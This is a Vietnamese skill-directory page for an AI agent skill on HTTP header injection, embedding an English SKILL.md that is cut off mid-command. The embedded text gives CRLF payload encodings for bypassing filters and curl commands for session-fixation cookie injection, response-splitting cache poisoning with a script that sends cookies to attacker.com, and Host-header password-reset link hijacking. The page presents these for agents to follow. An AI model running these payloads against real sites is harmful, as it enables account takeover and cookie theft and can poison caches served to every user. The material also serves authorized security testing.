header-injection
Skill này làm gì
Skill này giải thích cách đầu vào của người dùng có thể được đặt vào header HTTP và dùng để thay đổi phản hồi hoặc cache. Dành cho người kiểm thử bảo mật kiểm tra cách xử lý header và liên kết đặt lại.
Khi nào nên dùng
- ✓Khi một trang sao chép đầu vào của người dùng vào header chuyển hướng, cookie hoặc tải xuống và bạn muốn kiểm tra.
- ✓Khi một liên kết đặt lại mật khẩu dường như được tạo từ tên máy chủ trong yêu cầu.
- ✓Khi bạn cần kiểm tra xem hệ thống cache có xử lý một số header một cách không an toàn không.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Bạn có thể kiểm tra xem email đặt lại mật khẩu của tôi có thể bị thay đổi bằng cách gửi một Host header khác không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent gửi yêu cầu có ký tự xuống dòng và các header host hoặc chuyển tiếp đã bị thay đổi, rồi kiểm tra xem máy chủ có trả về header mới hay tạo liên kết từ đầu vào không.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
HTTP Header Injection
Header injection turns user-controlled input into HTTP protocol control. When server code copies a request value into a response header without CR/LF stripping, an attacker can terminate the current header and inject new headers or an entire second HTTP response. At the cache layer, headers that influence the response body but are excluded from the cache key enable persistent cache poisoning. The same family of bugs drives Host-header password-reset link hijacking, X-Forwarded-For rate-limit bypass, and Content-Disposition filename injection.
Authorized use only. Only test systems you are explicitly authorized to assess. Cache poisoning attacks affect all users of a shared cache resource.
Attack Surface
- Query/body/path parameters echoed into
Location,Set-Cookie,Content-Type,Content-Disposition,Link, or customX-*headers - Request headers re-reflected into responses:
Referer,User-Agent,X-Forwarded-Host, correlation IDs - Password-reset / account-recovery flows where the reset link is built from the
Hostheader - OAuth/SSO redirect flows where
Locationis derived from user input - CDN/reverse-proxy stacks where
X-Forwarded-HostorX-Forwarded-Protois echoed into canonical URLs Content-Disposition: attachment; filename=<user_input>file-download endpoints- Outbound email headers populated from user-supplied fields (To/From/Subject)
CR/LF Injection Payload Set
These are the characters and encodings to inject. Try each until one survives to the response header:
| Encoding | Value | Notes |
|---|---|---|
| URL bare LF | %0a |
Most permissive servers |
| URL bare CR | %0d |
Rarely effective alone |
| URL CRLF | %0d%0a |
Classic; many filters strip this |
| Double-encoded | %250d%250a |
Bypasses single-decode WAFs |
| Tab | %09 |
RFC 7230 permits tab in field values; some parsers fold into preceding header |
| Null byte | %00 |
Truncates value in some C-based parsers |
| Unicode LS/PS | %e2%80%a8 / %e2%80%a9 |
U+2028/U+2029; some intermediaries fold to LF |
| Overlong UTF-8 CR | %c0%8d |
Invalid per spec but accepted by some older parsers |
CRLF Response Splitting
Response splitting injects \r\n\r\n to terminate the current response and begin a second attacker-controlled one. Impact: inject Set-Cookie: admin=1, deliver a phishing page, or poison a shared cache.
Detection
TARGET="https://<TARGET>"
# Basic CRLF probe — inject into a redirect or Location parameter
curl -sv "${TARGET}/redirect?url=https://evil.com%0d%0aSet-Cookie:%20admin=1" 2>&1 \
| grep -iE "^< (set-cookie|location|http)"
# Probe via User-Agent or Referer if those are reflected
curl -sv "${TARGET}/" -A "probe%0d%0aX-Injected: crlf-test" 2>&1 \
| grep -i "x-injected"
Win signal: X-Injected: crlf-test or Set-Cookie: admin=1 appears in the response headers.
Exploitation: Inject Arbitrary Cookie
PAYLOAD='https://legit.example.com%0d%0aSet-Cookie:%20session=attacker_value;%20Path=/'
curl -sv "${TARGET}/redirect?url=${PAYLOAD}" 2>&1 | grep -i "set-cookie"
If the injected Set-Cookie appears, victims visiting this redirect URL (e.g., via a phishing link) receive the attacker-controlled session cookie, enabling session fixation.
Exploitation: Response Splitting for Cache Poisoning
# Force a second 200 response body into the cache slot for /
PAYLOAD='foo%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>document.location="https://attacker.com/?c="+document.cookie</script>'
curl -sv "${TARGET}/redirect?url=${PAYLOAD}" 2>&1 | grep -iE "^< (http|content-type|set-cookie)"
# Then check if / is now poisoned:
curl -s "${TARGET}/" | grep -i "attacker.com"
Host Header Poisoning
The Host header is trusted by application code to build absolute URLs (canonical links, password-reset links, OAuth redirect URIs). Injecting a malicious Host causes the app to generate URLs pointing at attacker infrastructure.
Password Reset Link Hijacking
The highest-impact Host header attack: victim requests a password reset, the app builds https://<Host>/reset?token=<token> and emails it. If Host is attacker-controlled, the victim clicks a link to the attacker's server which captures the token.
# Inject host directly
curl -sv -X POST "${TARGET}/forgot-password" \
-H "Host: attacker.com" \
-H "Content-Type: application/json" \
-d '{"email":"vi
Câu hỏi thường gặp
Vì sao skill nhắc đến cache poisoning?
Skill lưu ý rằng một số header thay đổi phản hồi nhưng không nằm trong cache key, nên một phản hồi xấu có thể được gửi cho những người dùng khác.
Skill có bao gồm tên file tải xuống không?
Có. Nó bao gồm header Content-Disposition, dùng để đặt tên file khi tải xuống.
Đây có phải chỉ để kiểm thử không?
Đây là để kiểm thử bảo mật, và skill nói rằng chỉ nên dùng trên hệ thống mà bạn được ủy quyền đánh giá.
Chi tiết
Mô tả gốc của tác giả
HTTP header injection — CRLF/response splitting, Host-header cache poisoning, X-Forwarded-* abuse, Content-Disposition/Set-Cookie injection, and password-reset link poisoning via unvalidated header values.
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #14064
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.